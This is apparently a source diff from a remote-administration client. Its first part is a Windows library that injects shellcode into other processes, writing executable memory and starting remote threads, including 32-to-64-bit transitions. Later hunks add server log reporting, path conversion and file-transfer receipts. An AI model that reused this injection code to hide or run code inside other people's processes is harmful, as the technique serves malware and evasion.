_(0xc7)_(0x44)_(0x24)_(0x04)_(0x23)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x0d)_(0xcb)_(0x66)_(0x8c)_(0xd8)
_(0x66)_(0x8e)_(0xd0)_(0x8b)_(0x65)_(0xfc)_(0x66)_(0x8b)_(0x45)_(0xf8)_(0x66)_(0x8e)_(0xe0)_(0x8b)_(0x45)_(0xc8)
_(0x8b)_(0x55)_(0xcc)_(0x5f)_(0x5e)_(0x5b)_(0x8b)_(0xe5)_(0x5d)_(0xc3)
}
#undef _
}
class X64Call
{
template<typename char_t>
struct StringHelper : detail::GCBase
{
StringHelper(const char_t* v) : name(0) {
name = new _UNICODE_STRING_T<DWORD64>;
name->Buffer = (DWORD64)v;
name->Length = (WORD)tcslen(v) * sizeof(char_t);
name->MaximumLength = name->Length;
}
virtual void gc() { delete name; }
virtual DWORD64 toDWORD64() { return (DWORD64)name; }
private:
_UNICODE_STRING_T<DWORD64>* name;
};
template<typename T>
DWORD64 ToDWORD64(T v, detail::GCHelper*) {
return DWORD64(v);
}
template<> DWORD64 ToDWORD64<const char*>(const char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
template<> DWORD64 ToDWORD64<char*>(char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
private:
DWORD64 func;
public:
X64Call(const char* funcName) : func(GetProcAddress64(0, GetNtDll64(), funcName)) {}
X64Call(DWORD64 module, const char* funcName) : func(GetProcAddress64(0, module, funcName)) {}
operator DWORD64() { return func; }
DWORD64 operator()() { return func && x64Call(func, 0); }
#define __TO_DWORD64_DECL(n) ToDWORD64(__PARAM(n), &helper)
#define TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n) ,
#define END_TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n)
#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> DWORD64 operator()(DECL_PARAMS_LIST(n)) { detail::GCHelper helper; return func && x64Call(func, n, REPEAT(n, TO_DWORD64_DECL, END_TO_DWORD64_DECL)); }
CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)
#undef CALLERS
#undef END_TO_DWORD64_DECL
#undef TO_DWORD64_DECL
#undef __TO_DWORD64_DECL
};
inline VOID WINAPI SetLastError64(DWORD64 status)
{
typedef ULONG (WINAPI *RTL_NTSTATUS_TO_DOS_ERROR)(NTSTATUS Status);
typedef ULONG (WINAPI *RTL_SET_LAST_WIN32_ERROR)(NTSTATUS Status);
static RTL_NTSTATUS_TO_DOS_ERROR RtlNtStatusToDosError = (RTL_NTSTATUS_TO_DOS_ERROR)GetProcAddress(detail::hNtDll, "RtlNtStatusToDosError");
static RTL_SET_LAST_WIN32_ERROR RtlSetLastWin32Error = (RTL_SET_LAST_WIN32_ERROR)GetProcAddress(detail::hNtDll, "RtlSetLastWin32Error");
if (RtlNtStatusToDosError && RtlSetLastWin32Error)
RtlSetLastWin32Error(RtlNtStatusToDosError((DWORD)status));
}
inline SIZE_T WINAPI VirtualQueryEx64(HANDLE hProcess, DWORD64 lpAddress, MEMORY_BASIC_INFORMATION64* lpBuffer, SIZE_T dwLength)
{
static X64Call NtQueryVirtualMemory("NtQueryVirtualMemory");
if (!NtQueryVirtualMemory) return 0;
DWORD64 ret = 0;
DWORD64 status = NtQueryVirtualMemory(hProcess, lpAddress, 0, lpBuffer, dwLength, &ret);
if (!status) return (SIZE_T)ret;
SetLastError64(ret);
return FALSE;
}
inline DWORD64 WINAPI VirtualAllocEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
static X64Call NtAllocateVirtualMemory("NtAllocateVirtualMemory");
if (!NtAllocateVirtualMemory) return 0;
DWORD64 tmpAddr = lpAddress;
DWORD64 tmpSize = dwSize;
DWORD64 ret = NtAllocateVirtualMemory(hProcess, &tmpAddr, 0, &tmpSize, flAllocationType, flProtect);
if (!ret) return tmpAddr;
SetLastError64(ret);
return FALSE;
}
inline BOOL WINAPI VirtualFreeEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD dwFreeType)
{
static X64Call NtFreeVirtualMemory("NtFreeVirtualMemory");
if (!NtFreeVirtualMemory) return 0;
DWORD64 tmpAddr = lpAddress;
DWORD64 tmpSize = dwSize;
DWORD64 ret = NtFreeVirtualMemory(hProcess, &tmpAddr, &tmpSize, dwFreeType);
if (!ret) return TRUE;
SetLastError64(ret);
return FALSE;
}
inline BOOL WINAPI VirtualProtectEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* lpflOldProtect)
{
static X64Call NtProtectVirtualMemory("NtProtectVirtualMemory");
if (!NtProtectVirtualMemory) return 0;
DWORD64 tmpAddr = lpAddress;
DWORD64 tmpSize = dwSize;
DWORD64 ret = NtProtectVirtualMemory(hProcess, &tmpAddr, &tmpSize, flNewProtect, lpflOldProtect);
if (!ret) return TRUE;
SetLastError64(ret);
return FALSE;
}
inline BOOL WINAPI ReadProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead)
{
static X64Call NtReadVirtualMemory("NtReadVirtualMemory");
if (!NtReadVirtualMemory) return 0;
DWORD64 read = 0;
DWORD64 ret = NtReadVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &read);
if (!ret) {
if (lpNumberOfBytesRead) *lpNumberOfBytesRead = (SIZE_T)read;
return TRUE;
}
SetLastError64(ret);
return FALSE;
}
inline BOOL WINAPI WriteProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten)
{
static X64Call NtWriteVirtualMemory("NtWriteVirtualMemory");
if (!NtWriteVirtualMemory) return 0;
DWORD64 written = 0;
DWORD64 ret = NtWriteVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &written);
if (!ret) {
if (lpNumberOfBytesWritten) *lpNumberOfBytesWritten = (SIZE_T)written;
return TRUE;
}
SetLastError64(ret);
return FALSE;
}
inline HANDLE WINAPI CreateRemoteThread64(HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
DWORD64 lpStartAddress,
DWORD64 lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId)
{
static X64Call RtlCreateUserThread("RtlCreateUserThread");
if (!RtlCreateUserThread) return 0;
BOOLEAN createSuspended = dwCreationFlags & CREATE_SUSPENDED;
ULONG stackSize = dwStackSize;
DWORD64 handle = 0;
DWORD64 status = RtlCreateUserThread(hProcess, lpThreadAttributes, createSuspended, 0, (dwCreationFlags & STACK_SIZE_PARAM_IS_A_RESERVATION) ? &stackSize : NULL, &stackSize, lpStartAddress, lpParameter, &handle, NULL);
if (!status) return (HANDLE)handle;
SetLastError64(status);
return NULL;
}
#endif
class ProcessWriter
{
public:
template<typename T>
ProcessWriter(HANDLE hProcess, T content, SIZE_T dwSize, DWORD flProtect = PAGE_READWRITE)
: _autoRelease(TRUE)
, _hProcess(hProcess)
, _dw64Address(0)
, _dwSize(dwSize)
{
if (!(_dw64Address = VirtualAllocEx64(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, flProtect)))
return;
SIZE_T written = 0;
if (!WriteProcessMemory64(hProcess, _dw64Address, (PVOID)content, dwSize, &written) || written != dwSize) {
VirtualFreeEx64(hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
_dw64Address = 0;
}
}
~ProcessWriter() {
if (_dw64Address && _autoRelease)
VirtualFreeEx64(_hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
}
void SetDontRelese() {
_autoRelease = FALSE;
}
operator DWORD64() {
return (DWORD64)_dw64Address;
}
#ifdef _WIN64
template<typename T>
operator T*() {
return (T*)_dw64Address;
}
#endif
private:
BOOL _autoRelease;
HANDLE _hProcess;
#ifdef _WIN64
LPVOID _dw64Address;
#else
DWORD64 _dw64Address;
#endif
SIZE_T _dwSize;
};
namespace {
std::string makeShellCode(int cnt, bool is64Bit)
{
if(is64Bit) {
// see X64Delegator_disassemble for details
static const unsigned char kTmpl_x64[] = { 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xc9, 0x74, 0x1d, 0x48, 0x83,
0x39, 0x00, 0x48, 0x8b, 0x41, 0x08, 0x74, 0x0b, 0xff, 0xd0, 0x48, 0x89, 0x03, 0x48, 0x83, 0xc4,
0x20, 0x5b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0xe0, 0x33, 0xc0, 0x48, 0x83, 0xc4,
0x20, 0x5b, 0xc3 };
std::string templ_x64((const char*)kTmpl_x64, sizeof(kTmpl_x64));
if(!cnt) return templ_x64;
templ_x64[13] += (cnt <= 4) ? cnt * 4 : (cnt - 4) * 9 + 16;
if(cnt >= 1)
templ_x64[16] = 0x3b;
if(cnt < 3) {
if(cnt >= 1) {
templ_x64.insert(22, "\x48\x8b\x49\x10", 4);
}
if(cnt >= 2) {
templ_x64.insert(22, "\x48\x8b\x51\x18", 4);
}
}
else {
templ_x64[20] = 0x49;
templ_x64[21] = 0x10;
templ_x64.insert(22, "\x48\x8B\x53\x18", 4);
templ_x64.insert(22, "\x4c\x8b\x43\x20", 4);
templ_x64.insert(22, "\x48\x8b\x43\x08", 4);
if(cnt >= 4) {
templ_x64.insert(26, "\x4c\x8b\x4b\x28", 4);
}
if(cnt >= 5) {
templ_x64.insert(18, "\x4c\x8B\x53\x30", 4);
templ_x64.insert(42, "\x4c\x89\x54\x24\x20", 5);
}
if(cnt >= 6) {
templ_x64[21] = 0x38;
templ_x64.insert(22, "\x4c\x8b\x5b\x30", 4);
templ_x64[50] = 0x28;
templ_x64.insert(51, "\x4c\x89\x5c\x24\x20", 5);
}
// TODO
}
return templ_x64;
}
// see X86Delegator_disassemble for details
static const unsigned char kTmpl_x86[] = { 0x55, 0x8b, 0xec, 0x51, 0x83, 0x7d, 0x08, 0x00, 0x74, 0x0c, 0x8b ,0x45, 0x08, 0x8b, 0x08, 0xff,
0xd0, 0x89, 0x45, 0xfc, 0xeb, 0x07, 0xc7, 0x45, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xfc,
0x8b, 0xe5, 0x5d, 0xc3 };
std::string templ_x86((const char*)kTmpl_x86, sizeof(kTmpl_x86));
// je distance
templ_x86[9] += cnt * 7;
templ_x86[16] += ((1 - cnt) % 3 + 3) % 3;
int pos = 13;
for(int i = 0; i < cnt; ++i) {
switch(i % 3) {
case 0:
templ_x86.insert(pos, "\x8b\x48\xcc\x51\x8b\x55\x08", 7);
break;
case 1:
templ_x86.insert(pos, "\x8b\x42\xcc\x50\x8b\x4d\x08", 7);
break;
case 2:
templ_x86.insert(pos, "\x8b\x51\xcc\x52\x8b\x45\x08", 7);
break;
}
templ_x86[pos + 2] = (cnt - i) << 2;
pos += 7;
}
switch(cnt % 3) {
case 0:
templ_x86[pos + 1] = 0x08;
break;
case 1:
templ_x86[pos + 1] = 0x02;
break;
case 2:
templ_x86[pos + 1] = 0x11;
break;
}
return templ_x86;
}
template<int argCnt, bool is64Bit>
const std::string& shellCode() {
static std::string kCode = makeShellCode(argCnt, is64Bit);
return kCode;
}
}
class YAPICall
{
template<typename T>
DWORD64 ToDWORD64(T v, HANDLE hProcess, detail::GCHelper*) {
return DWORD64(v);
}
template<typename char_t>
struct StringHelper : detail::GCBase
{
StringHelper(HANDLE hProcess, const char_t* v) : name(0) {
name = new ProcessWriter(hProcess, v, (tcslen(v) + 1) * sizeof(char_t));
}
virtual void gc() { delete name; }
virtual DWORD64 toDWORD64() { return (DWORD64)*name; }
private:
ProcessWriter* name;
};
template<> DWORD64 ToDWORD64<const char*>(const char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
template<> DWORD64 ToDWORD64<char*>(char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
private:
HANDLE _hProcess;
ProcessWriter* _sc;
DWORD64 func;
BOOL _dw64Ret;
DWORD _dwTimeout;
BOOL _is64Bit;
template<int argCnt>
bool initShellCoder(ProcessWriter*& sc) {
if(sc) return false;
const std::string& shellcode = _is64Bit ? shellCode<argCnt, 1>() : shellCode<argCnt, 0>();
sc = new ProcessWriter(_hProcess, shellcode.data(), shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
return true;
}
template<typename T>
DWORD64 call(const std::vector<T>& param) {
ProcessWriter p(_hProcess, &param[0], sizeof(T) * (param.size()));
if (!p) return -1;
HANDLE hThread = 0;
if (_is64Bit)
hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
else {
#ifdef _WIN64
// see X64toX86_disassemble for details
static const unsigned char kTmpl_x64_to_x86[] = { 0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x8b, 0x48,
0x08, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x6a, 0x33, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x83, 0x04, 0x24,
0x05, 0xcb, 0xff, 0xd0, 0xe8, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x23, 0x00, 0x00,
0x00, 0x83, 0x04, 0x24, 0x0d, 0xcb, 0x48, 0x83, 0xc4, 0x28, 0xc3 };
std::string x86_shellcode((char*)kTmpl_x64_to_x86, sizeof(kTmpl_x64_to_x86));
ProcessWriter* sc = new ProcessWriter(_hProcess, x86_shellcode.data(), x86_shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
sc->SetDontRelese();
hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
#else
hThread = CreateRemoteThread(_hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)(DWORD64)*_sc, (PVOID)(DWORD64)p, 0, NULL);
#endif
}
if (!hThread) return -1;
if (WaitForSingleObject(hThread, _dwTimeout) != WAIT_OBJECT_0) {
_sc->SetDontRelese();
CloseHandle(hThread);
return -1;
}
if (!_is64Bit || !_dw64Ret) {
DWORD ret = 0;
GetExitCodeThread(hThread, &ret);
CloseHandle(hThread);
return ret;
}
DWORD64 ret = 0;
CloseHandle(hThread);
ReadProcessMemory64(_hProcess, p, &ret, sizeof(DWORD64), NULL);
return ret;
}
public:
YAPICall(HANDLE hProcess, const char* funcName)
: _hProcess(hProcess)
, _sc(0)
, func(GetProcAddress64(hProcess, GetNtDll64(), funcName))
, _dw64Ret(FALSE)
, _dwTimeout(INFINITE)
, _is64Bit(detail::is64BitOS)
{
}
YAPICall(HANDLE hProcess, DWORD64 moudle, const char* funcName)
: _hProcess(hProcess)
, _sc(0)
, func(GetProcAddress64(hProcess, moudle, funcName))
, _dw64Ret(FALSE)
, _dwTimeout(INFINITE)
, _is64Bit(detail::is64BitOS)
{
}
YAPICall(HANDLE hProcess, const TCHAR* modName, const char* funcName)
: _hProcess(hProcess)
, _sc(0)
, func(GetProcAddress64(hProcess, GetModuleHandle64(hProcess, modName), funcName))
, _dw64Ret(FALSE)
, _dwTimeout(INFINITE)
, _is64Bit(detail::is64BitOS)
{
if(!func) {
func = GetProcAddress(hProcess, GetModuleHandle(hProcess, modName), funcName);
_is64Bit = FALSE;
}
}
~YAPICall() { if (_sc) delete _sc; }
operator DWORD64() { return func; }
YAPICall& Dw64() { _dw64Ret = TRUE; return *this; }
YAPICall& Timeout(DWORD dwTimeout) { _dwTimeout = dwTimeout; return *this; }
#define TO_DWORD64_ARRAY_DECL(n) param[n + 1] = ToDWORD64(__PARAM(n), _hProcess, &helper);
#define TO_DWORD_ARRAY_DECL(n) param[n] = (DWORD)ToDWORD64(__PARAM(n), _hProcess, &helper);
#define CALLERSX(n) \
DWORD64 operator()(DECL_PARAMS_LIST(n)) {\
bool b = initShellCoder<n>(_sc);\
if(!b || !func || !_sc || !*_sc) return -1;\
detail::GCHelper helper;\
if(_is64Bit) {\
std::vector<DWORD64> param(n + 2, 0);\
param[0] = _dw64Ret;\
param[1] = func;\
REPEAT(n, TO_DWORD64_ARRAY_DECL, TO_DWORD64_ARRAY_DECL)\
return call<DWORD64>(param);\
}\
std::vector<DWORD> param(n + 1, 0);\
param[0] = (DWORD)func;\
REPEAT(n, TO_DWORD_ARRAY_DECL, TO_DWORD_ARRAY_DECL)\
return call<DWORD>(param);\
}
#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> CALLERSX(n)
CALLERSX( 0)
CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) /*CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)*/
#undef CALLERSX
#undef CALLERS
#undef TO_DWORD_ARRAY_DECL
#undef TO_DWORD64_ARRAY_DECL
};
#define YAPI(h, m, f) YAPICall(h, m, #f)
}
+58
View File
@@ -0,0 +1,58 @@
#pragma once
#include <cstring>
#include <mutex>
#include <string>
#include <vector>
#include "client/IOCPClient.h"
#include "common/commands.h"
#include "common/logger.h"
// 客户端内存日志上报(POSIX 版,对应 Windows 端 client/ClientLogManager.cpp)。
//
// 服务端 COMMAND_QUERY_LOG → 本端开子连接 → 首包 TOKEN_REPORT_LOG + 日志文本。
//
// 为什么必须走子连接:服务端 MessageHandle 的 TOKEN_REPORT_LOG 分支取走首包后会
// 直接 CancelIO 关掉这条连接。若把日志回在主连接上,被关掉的就是主连接本身,
// 客户端会当场掉线(服务端再判成离线)。
//
// 为什么首包就发全量:服务端只取第一条(m_sentIdx 从 0 起算即全量),取走即关
// 子连接,后续增量不会再有人收。Windows 端每 3s 补推一次是为了给人工打开的日志
// 对话框持续喂增量,MCP 这条路径用不上。
class ClientLogHandler : public IOCPManager
{
public:
explicit ClientLogHandler(IOCPClient* client)
: m_client(client)
, m_sentIdx(0)
{
SendLogDump();
}
virtual ~ClientLogHandler() {}
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength)
{
if (!szBuffer || ulLength == 0)
return;
// 子连接上再收到 QUERY_LOG(服务端重试)就补发一次增量
if (szBuffer[0] == COMMAND_QUERY_LOG)
SendLogDump();
}
private:
void SendLogDump()
{
std::lock_guard<std::mutex> lock(m_sendMutex);
std::string logs = Logger::getInstance().DumpMemoryLogFrom(m_sentIdx);
std::vector<BYTE> pkt(1 + logs.size());
pkt[0] = TOKEN_REPORT_LOG;
if (!logs.empty())
memcpy(pkt.data() + 1, logs.data(), logs.size());
m_client->Send2Server((char*)pkt.data(), (int)pkt.size());
}
IOCPClient* m_client;
size_t m_sentIdx; // Logger ring buffer 的绝对游标,DumpMemoryLogFrom 会推进它
std::mutex m_sendMutex;
};
+4 -26
View File
@@ -36,6 +36,7 @@
// FileTransferV2 is in the same directory (common/)
#include "FileTransferV2.h"
#include "UnixPath.h"
// External declaration of clientID (defined in main.cpp/main.mm)
extern uint64_t g_myClientID;
@@ -186,34 +187,11 @@ private:
// /:\ -> /
// /: -> /
// C:\Users\file.txt -> /Users/file.txt
// %USERPROFILE%\Desktop\ -> /home/user/Desktop/ (or the XDG desktop folder)
static std::string winPathToLinux(const char* winPath)
{
if (!winPath || !*winPath) return "/";
std::string p(winPath);
// 1. Backslash -> forward slash
for (auto& c : p) {
if (c == '\\') c = '/';
}
// 2. Remove "X:/" or "X:" prefix (handles both /: and C: style)
if (p.size() >= 3 && p[1] == ':' && p[2] == '/') {
p = p.substr(3);
} else if (p.size() >= 2 && p[1] == ':') {
p = p.substr(2);
}
// 3. Ensure starts with /
if (p.empty() || p[0] != '/') {
p = "/" + p;
}
// 4. Merge consecutive slashes
std::string result;
result.reserve(p.size());
for (size_t i = 0; i < p.size(); i++) {
if (i > 0 && p[i] == '/' && p[i - 1] == '/')
continue;
result += p[i];
}
return result.empty() ? "/" : result;
// 展开 %USERPROFILE% 等变量并把路径风格转成 Unix(见 UnixPath.h)
return UnixPath::ToUnixPath(winPath ? winPath : "");
}
// ---- Linux path -> Windows path (for sending to server) ----
+222 -43
View File
@@ -18,6 +18,7 @@
#include "commands.h"
#include "file_upload.h"
#include "UnixPath.h"
#include "../client/IOCPClient.h"
#include <unistd.h>
#include <sys/stat.h>
@@ -25,9 +26,13 @@
#include <dirent.h>
#include <iconv.h>
#include <cstring>
#include <cctype>
#include <cerrno>
#include "sha256_posix.h"
#include <string>
#include <vector>
#include <map>
#include <set>
#include <mutex>
#include <fstream>
#include <thread>
@@ -164,11 +169,15 @@ public:
// 处理 V2 文件数据包
// 返回: 0=成功, >0=错误码
static int RecvFileChunkV2(const uint8_t* buf, size_t len, uint64_t myClientID)
// reply:主连接(Linux 传 g_pMainClient)。非空时,C2C 传输的最后一个条目处理完会回一包
// 落盘结果(TOKEN_C2C_SEND_RESULT),服务端据此把 receiver_ack 变成真实值;
// 传 nullptr(macOS 目前没有全局主连接)则保持旧行为,不发回执。
static int RecvFileChunkV2(const uint8_t* buf, size_t len, uint64_t myClientID,
IOCPClient* reply = nullptr)
{
// 检查是否是 FILE_COMPLETE_V2 包
if (len >= 1 && buf[0] == COMMAND_FILE_COMPLETE_V2) {
return HandleFileComplete(buf, len, myClientID);
return HandleFileComplete(buf, len, myClientID, reply);
}
if (len < sizeof(FileChunkPacketV2)) {
@@ -210,10 +219,10 @@ public:
for (char& c : relPath) {
if (c == '\\') c = '/';
}
// 移除盘符前缀 (如 C:/)
if (relPath.size() >= 3 && relPath[1] == ':' && relPath[2] == '/') {
// 移除盘符前缀 (如 C:/)——只认「字母 + 冒号」,否则 /:data 这类合法路径会被改写
if (relPath.size() >= 3 && isalpha((unsigned char)relPath[0]) && relPath[1] == ':' && relPath[2] == '/') {
relPath = relPath.substr(3);
} else if (relPath.size() >= 2 && relPath[1] == ':') {
} else if (relPath.size() >= 2 && isalpha((unsigned char)relPath[0]) && relPath[1] == ':') {
relPath = relPath.substr(2);
}
// 移除开头的 /
@@ -222,26 +231,24 @@ public:
}
savePath += relPath;
} else {
// 服务端传输:使用相对路径
// 将 Windows 路径转换为 Linux 路径
savePath = fileName;
for (char& c : savePath) {
if (c == '\\') c = '/';
}
// 移除盘符前缀 (如 C:/)
if (savePath.size() >= 3 && savePath[1] == ':' && savePath[2] == '/') {
savePath = savePath.substr(2);
}
// 确保以 / 开头
if (savePath.empty() || savePath[0] != '/') {
savePath = "/" + savePath;
}
// 服务端传输:用服务端下发的绝对路径。
// 快捷按钮(桌面/下载/用户主页)下发的目标目录是 %USERPROFILE%\...,
// 由 WinPathToLinux 展开(见 UnixPath.h),与 Windows 上
// ExpandEnvironmentStringsA 的效果一致。
savePath = WinPathToLinux(fileName);
}
// 目录处理
if (pkt->flags & FFV2_DIRECTORY) {
MakeDirs(savePath + "/dummy");
// MakeDirs 不回报 mkdir 的失败(它还要给服务端下载复用),这里单独确认一次:
// 目录没建成也要让回执带上 errno,否则会向服务端谎报成功。
struct stat st;
int mkErr = 0;
if (stat(savePath.c_str(), &st) != 0) mkErr = errno ? errno : EIO;
else if (!S_ISDIR(st.st_mode)) mkErr = EIO;
Mprintf("[V2 Recv] Created directory: %s\n", savePath.c_str());
FinishC2CItem(pkt, reply, myClientID, false, true, 0, mkErr);
return 0;
}
@@ -250,9 +257,11 @@ public:
// 获取或创建接收状态
uint64_t stateKey = pkt->transferID ^ ((uint64_t)pkt->fileIndex << 48);
RecvState* state = GetOrCreateState(stateKey, pkt, savePath);
int openErr = 0;
RecvState* state = GetOrCreateState(stateKey, pkt, savePath, &openErr);
if (!state) {
Mprintf("[V2 Recv] Failed to create state\n");
FinishC2CItem(pkt, reply, myClientID, true, IsFinalChunk(pkt), 0, openErr ? openErr : EIO);
return 5;
}
@@ -260,7 +269,9 @@ public:
const char* data = (const char*)buf + sizeof(FileChunkPacketV2) + pkt->nameLength;
if (lseek(state->fd, pkt->offset, SEEK_SET) == -1) {
Mprintf("[V2 Recv] lseek failed: errno=%d\n", errno);
int e = errno;
Mprintf("[V2 Recv] lseek failed: errno=%d\n", e);
FinishC2CItem(pkt, reply, myClientID, true, IsFinalChunk(pkt), 0, e);
return 6;
}
@@ -270,7 +281,9 @@ public:
ssize_t n = write(state->fd, data + written, toWrite - written);
if (n <= 0) {
if (errno == EINTR) continue;
Mprintf("[V2 Recv] write failed: errno=%d\n", errno);
int e = errno;
Mprintf("[V2 Recv] write failed: errno=%d\n", e);
FinishC2CItem(pkt, reply, myClientID, true, IsFinalChunk(pkt), 0, e);
return 7;
}
written += n;
@@ -292,6 +305,15 @@ public:
// 文件完成
if (isLast) {
// 落盘长度自检:写到一半失败过、或偏移被改写,都会在这里落成「长度不符」
struct stat st;
int szErr = 0;
if (fstat(state->fd, &st) != 0) szErr = errno ? errno : EIO;
else if ((uint64_t)st.st_size != pkt->fileSize) szErr = EIO;
// 记账 + 最后一个条目时回执(要在拿 s_statesMtx 之前做:里面会 Send2Server)
FinishC2CItem(pkt, reply, myClientID, true, true, pkt->fileSize, szErr);
close(state->fd);
state->fd = -1;
Mprintf("[V2 Recv] File complete: %s\n", savePath.c_str());
@@ -306,7 +328,8 @@ public:
}
// 处理文件完成校验包
static int HandleFileComplete(const uint8_t* buf, size_t len, uint64_t myClientID)
static int HandleFileComplete(const uint8_t* buf, size_t len, uint64_t myClientID,
IOCPClient* reply = nullptr)
{
if (len < sizeof(FileCompletePacketV2)) {
return 1;
@@ -322,6 +345,9 @@ public:
Mprintf("[V2] File complete verify: transferID=%llu, fileIndex=%u, size=%llu\n",
pkt->transferID, pkt->fileIndex, pkt->fileSize);
// 空文件不发任何数据块(worker 只发这个完成包),C2C 回执只能靠它把该条目算作已处理
NoteC2CComplete(pkt, reply, myClientID);
// TODO: 实现 SHA-256 校验
// 目前简单返回成功
return 0;
@@ -404,25 +430,37 @@ public:
closedir(d);
}
// Windows 路径转 Linux 路径
// Windows 路径转 Linux 路径。服务端对话框的快捷按钮(桌面/下载/用户主页)下发的是
// %USERPROFILE%\Desktop\ 这类 Windows 变量路径,必须先展开(见 UnixPath.h)。
static std::string WinPathToLinux(const std::string& winPath)
{
std::string p = winPath;
// 1. 反斜杠 -> 正斜杠
for (auto& c : p) {
if (c == '\\') c = '/';
return UnixPath::ToUnixPath(winPath);
}
// errno -> Win32 错误码:服务端 TOKEN_DOWNLOAD_ERROR 按 Win32 码分类
// (McpServer::OnDownloadError: 2/3 -> 路径不存在,5 -> 拒绝访问,其余 -> 一般失败)。
static uint32_t PosixErrnoToWin32(int e)
{
switch (e) {
case ENOENT: return 2; // ERROR_FILE_NOT_FOUND
case ENOTDIR: return 3; // ERROR_PATH_NOT_FOUND
case EACCES:
case EPERM: return 5; // ERROR_ACCESS_DENIED
default: return 2;
}
// 2. 移除 "X:/" 或 "X:" 前缀
if (p.size() >= 3 && p[1] == ':' && p[2] == '/') {
p = p.substr(3);
} else if (p.size() >= 2 && p[1] == ':') {
p = p.substr(2);
}
// 3. 确保以 / 开头
if (p.empty() || p[0] != '/') {
p = "/" + p;
}
return p;
}
// 下载请求无可用文件的结构化回报:[TOKEN_DOWNLOAD_ERROR:1][win32err:4 LE]。
// 走文件管理器子连接(服务端此时还在等第一批 chunk),让它立即失败而不是等停滞看门狗。
// 与 Windows 客户端 CFileManager::SendDownloadError 等价。
static void SendDownloadError(IOCPClient* client, uint32_t win32err)
{
if (client == nullptr) return;
if (win32err == 0) win32err = 2; // ERROR_FILE_NOT_FOUND
uint8_t pkt[1 + sizeof(uint32_t)] = { 0 };
pkt[0] = (uint8_t)TOKEN_DOWNLOAD_ERROR;
memcpy(pkt + 1, &win32err, sizeof(uint32_t));
client->Send2Server((char*)pkt, (ULONG)sizeof(pkt));
}
// 处理 CMD_DOWN_FILES_V2 请求 - 上传文件到服务端
@@ -448,19 +486,22 @@ public:
if (remotePaths.empty()) {
Mprintf("[V2 Send] No files to send\n");
SendDownloadError(client, 87); // ERROR_INVALID_PARAMETER(与 Windows 客户端一致)
return;
}
// 收集所有文件 (展开目录)
std::vector<std::string> allFiles;
std::vector<std::string> rootCandidates;
int firstErrno = 0; // 首个失败的 errno(全部不存在时回报给服务端)
for (const auto& remotePath : remotePaths) {
std::string localPath = WinPathToLinux(remotePath);
struct stat st;
if (stat(localPath.c_str(), &st) != 0) {
Mprintf("[V2 Send] File not found: %s\n", localPath.c_str());
if (firstErrno == 0) firstErrno = errno ? errno : ENOENT;
Mprintf("[V2 Send] File not found: %s (errno=%d)\n", localPath.c_str(), errno);
continue;
}
@@ -481,7 +522,8 @@ public:
}
